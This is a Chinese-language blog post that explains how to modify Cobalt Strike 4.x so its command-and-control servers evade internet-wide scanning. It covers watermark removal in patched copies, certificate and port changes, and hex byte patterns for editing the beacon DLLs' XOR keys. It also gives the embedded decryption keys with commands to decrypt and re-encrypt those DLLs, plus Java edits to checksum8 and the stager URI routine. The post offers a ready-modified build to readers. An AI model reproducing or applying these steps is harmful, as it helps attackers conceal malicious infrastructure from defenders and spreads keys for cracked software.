Cobaltstrike4.x基础特征修改之从端口到checksum8

△△△点击上方“蓝字”关注我们了解更多精彩






0
0x01 技术简介

近段时间在学习Cobaltstrike4.x的使用,而后发现其很多的可修改选项,用于避免溯源,流量,功能扩展等。

前辈们的分享的文章笔记后,整理出了一份关于Cobaltstrike基础包的特征修改方向。
1.Patch(忽略)2.修改listenConfig去水印3.启用USB/CD AutoPlay和Windows Dropper旧功能和直接导出Beacon.dll4.端口证书修改5.修改dll中的异或密钥,防止直接被nse脚本扫描出信息6.基本profile配置7.修改uri checksum8算法,防止通过爆破URI下载到stage


0
0x02 轻度修改及参考
轻度修改主要是在已有patch版本上进行简单修改,资料较全,操作简单,不进行赘述。

修改对象:
2.修改listenConfig去水印3.启用旧功能 AutoPlay和Windows Dropper和导出Beacon.dll4.端口证书修改6.基本profile配置
参考文章:
2.修改listenConfig去水印 https://mp.weixin.qq.com/s?__biz=MzUzODU3ODA0MA==&mid=2247486179&idx=1&sn=5882ce0270b6e4065f3d4eeb1b139f05&chksm=fad4d7f4cda35ee2e6e7b8bd878eb9e6e5be96e9c35873f8938beafb0e65aa54293159e247da&token=120402682&lang=zh_CN#rd3.CS部分功能启用 https://wbglil.gitbook.io/cobalt-strike/cobalt-strikekuo-zhan/cs-bu-fen-gong-neng-qi-yong 4.端口证书修改Cobalt Strike特征性信息修改玩转防火墙设备https://mp.weixin.qq.com/s/lEOoQekdKhuftwBg00IuiQ6.基本profile配置Cobalt Strike Malleable C2 配置 https://www.chabug.org/web/832.html




0x03 绕过stage检测
修改对象:
2.修改dll中的异或密钥,防止直接被nse脚本扫描出信息7.修改uri checksum8算法,防止通过爆破URI下载到stage
Beacon Stage相关介绍:

    Beacon Staging Server 就是分阶段模式中,提供shellcode等功能扩展存储的Stage服务器。

    Beacon Staging Server的作用是为了防止Payload过大或者适应不同的攻击场景,可以分阶段进行payload投递。

    首先通过投递一个被称为stager的小巧的payload,然后去Beacon staging server下载体积较大更复杂的stage,并且访问stage的URL通过checksum8进行校验。


    由Windows Execute 模块生成的是Stager。


stager上线逻辑:

——>运行stager——>自动生成并访问符合checksum8校验的URI进行远程下载stage——>上线


发现Beacon Staging Server:

浅析CobaltStrike Beacon Staging Server扫描https://mp.weixin.qq.com/s?__biz=Mzk0NzE4MDE2NA==&mid=2247483756&idx=1&sn=4e48f8f4b724b5dc723c7cec04f5a34e&scene=21如何识别恶意Cobalt Strike服务器https://mp.weixin.qq.com/s/3gjifvYZttoRWPCEVY99Xg


由于XXX空间测绘已经扫描了全网的Stager Beacon Server,为了个人服务器的隐蔽性,我们需要对抗其中的扫描检测算法。


检测绕过方向:

目前主要是两个修改方向:

1.修改checkSum8算法,使得按照默认的checkSum8 URI无法下载stage文件。2.修改内部beacon的解密密钥,使得NSE解析脚本无法解析下载到的stage的信息。曲线救国:每次手动kill掉site管理中的stage和stage64


经过测试两种修改方式方向不同,可以都进行修改,实现stage无法被轻易下载,实现stage无法被轻易解密。





0x04 Beacon dll密钥修改及简化
实现原理;
通过修改内部beacon的解密密钥,使得NSE解析脚本无法解析下载到的stage的信息

存在问题:

通过爆破解密密钥,依旧能够实现解密。


参考文章:
Bypass cobaltstrike beacon config scanhttps://mp.weixin.qq.com/s/fhcTTWV4Ddz4h9KxHVRcnw

简化修改过程:
dll密钥修改过程中发现,发现自己不会用IDA定位搜索。
定位结束中发现,所有的XOR密钥函数都存在固定二进制串特征,可以解密dll后,直接使用十六进制编辑器(winhex等)进行HEX全文搜索,再进行编辑2E位置进行保存。
通过替换此串即可简化修改过程,也可以实现批量修改。

Cobaltstrike4.x基础特征修改之从端口到checksum8

#dll XOR密钥函数所对应二进制位置#已知适用于4.1与4.2beacon.dll   80 B0 10 10 03 10 2E 40 3D 00 10 00 7C F1 68dnsb.dll     80 B0 10 10 03 10 2E 40 3D 00 10 00 00 7C F1 68extc2.dll    80 B0 10 00 03 10 2E 40 3D 00 10 00 00 7C F1 68pivot.dll    80 B0 10 10 03 10 2E 40 3D 00 10 00 00 7C F1 68
dnsb.x64.dll 80 34 28 2E 48 FF C0 48 3D 00 10 00 00 7C F1 48extc2.x64.dll 80 34 28 2E 48 FF C0 48 3D 00 10 00 00 7C F1 48beacon.x64.dll 80 34 28 2E 48 FF C0 48 3D 00 10 00 00 7C F1 48pivot.x64.dll     80 34 28 2E 48 FF C0 48 3D 00 10 00 00 7C F1 48

加解密DLL文件:

CS 4.1解密密钥直接在Authorization给出,但使用了不同资源读取方法。
CS 4.2没有直接给出解密密钥,需要调试Authorization.class获取解密密钥。

Cobaltstrike4.x基础特征修改之从端口到checksum8

#CS4.1解密密钥private static byte[] OriginKey = {27,-27,-66, 82,-58,37,92,51,85,-114,-118,28,-74,103,-53,6};#CS4.2解密密钥private static byte[] OriginKey = {-78, 13, 72, 122, -35, -44, 113, 52, 24, -14, -43, -93, -82, 2, -89, -96};  #编译解密脚本:javac -encoding UTF-8 -classpath cobaltstrike.jar CrackSleeve.java#解密dll文件java -classpath cobaltstrike.jar;./ CrackSleeve decode#还原dll文件java -classpath cobaltstrike.jar;./ CrackSleeve encode



0x05 checkSum8算法修改及突破

修改checkSum8算法,使得按照默认的checkSum8 URI无法下载stage文件。

checkSum8算法的修改方式与其优缺点:
1.修改checkSum8的92L与93L为非默认的值,从而加大连接获取难度。缺点:最多进过256次破解,也能够导致stage被下载。2.通过修改sum值算法,固定下载URI,这样只有指定的uri可以获取到下载连接缺点:更换URI需要重新编译计算sum值。

参考链接:
Beacon Stager listener 去特征https://mp.weixin.qq.com/s/HibtLfikI_0ezcLVCRxqaA关于CobaltStrike的Stager被扫问题https://mp.weixin.qq.com/s/0MPM3bysJJYr5jbRnES_Vg

虽然麻烦,但很明显方法2比方法1更加的好用。

存在问题:

实现过程中发现上述教程中修改cloudstrike\WebServer.java文件后,都需要配置C2-Profile文件中的stage set uri才能够正常上线。

该实现明显不符合beacon上线逻辑。


独家分析突破:
原因在于只修改了服务器uri的验证算法,但是没有修改beacon中自动生成符合条件时的uri算法。
该算法位于\common\CommonUtils.java


WebServer具体修改 :
  public static long checksum8(String text){    ...    //return sum % 256L;    return sum;  }    public static boolean isStager(String uri) {    return checksum8(uri) == 25**L; //368a373e5cc0fe41489************.png    }    public static boolean isStagerX64(String uri) {    return checksum8(uri) == 26**L;//37346ddeb281f8b5d2d************.png  }  #其中37346ddeb281f8b5d2d************等是我随机生成的两个字符串,****打码。#其中26**L是根据37346ddeb281f8b5d2d************.png字符串计算出来的sum值

CommonUtils具体修改 :

public static String MSFURI(int var0) {      return "368a373e5cc0fe41489************.png";}public static String MSFURI_X64() {      return "37346ddeb281f8b5d2d************.png";}

下载32位stage通过
http://cs-ip:stage-port/368a373e5cc0fe41489b867095f****.png
下载64位stage通过 
http://cs-ip:stage-port/37346ddeb281f8b5d2d0cad2917c****.png



0x06 附录:Profile stage set uri与checkSum uri的关系
PS:stage set uri指的是c2Profile中,stage配置中的set uri参数。
PS:checkSum uri指的是beacon内部通过checkSum8算法自动生成的URL值。

1、stager默认自带一个生成符合checkSum8算法URI的的模块,这样才使得没有profile文件时也能够上线
2、stager可以通过Profile文件中的stage set uri字段下载stage,该URL不用经历checkSum8算法校验。
3、host_stage 设置flase后,无法通过Profile中的stage set uri与checkSum uri上线。
4、Kill stage后无法通过checkSum uri上线,但能够通过stage set uri上线。

Cobaltstrike4.x基础特征修改之从端口到checksum8




0x07 Summary 总结


重命名重发一下,这样未来搜索查找起来方便。

需要改造好的版本大家可以参与NOVASEC公众号上一篇文章的活动,转发朋友圈还能提供技术支持哦


END



如您有任何投稿、问题、建议、需求、合作、后台留言NOVASEC公众号!


或添加NOVASEC-MOYU 以便于及时回复。

Cobaltstrike4.x基础特征修改之从端口到checksum8


感谢大哥们的对NOVASEC的支持点赞和关注

加入我们与萌新一起成长吧!


本团队任何技术及文件仅用于学习分享,请勿用于任何违法活动,感谢大家的支持!



版权归原作者所有,如若转载,请注明出处:https://www.ciocso.com/article/707.html

发表评论

登录后才能评论